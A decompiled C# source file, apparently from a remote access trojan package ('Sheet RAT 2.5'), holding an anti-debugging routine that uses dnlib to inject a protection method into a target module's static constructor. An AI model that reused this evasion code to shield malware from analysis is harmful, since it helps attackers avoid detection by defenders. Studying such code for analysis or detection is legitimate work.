Files
sheet-rat/Server/MindLated/Protection/Anti/AntiDebug.cs
T

39 lines
1.4 KiB
C#
Raw Normal View History

2026-08-27 11:23:25 -06:00
// Decompiled with JetBrains decompiler
// Type: MindLated.Protection.Anti.AntiDebug
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
using dnlib.DotNet;
using dnlib.DotNet.Emit;
using MindLated.Protection.Anti.Runtime;
using MindLated.Services;
using System;
using System.Windows.Forms;
using System.Collections.Generic;
using System.Linq;
//#nullable disable
namespace MindLated.Protection.Anti {
public static class AntiDebug
{
public static void Execute(ModuleDef module)
{
ModuleDefMD moduleDefMd = ModuleDefMD.Load(typeof (AntiDebugSafe).Module);
MethodDef staticConstructor = module.GlobalType.FindOrCreateStaticConstructor();
int rid = (int) MDToken.ToRID(typeof (AntiDebugSafe).MetadataToken);
MethodDef methodDef = (MethodDef) InjectHelper.Inject(moduleDefMd.ResolveTypeDef((uint) rid), module.GlobalType, module).Single<IDnlibDef>((Func<IDnlibDef, bool>) (method => method.Name == "Initialize"));
staticConstructor.Body.Instructions.Insert(0, Instruction.Create(OpCodes.Call, (IMethod) methodDef));
foreach (MethodDef method in (IEnumerable<MethodDef>) module.GlobalType.Methods)
{
if (!(method.Name != ".ctor"))
{
module.GlobalType.Remove(method);
break;
}
}
}
}
}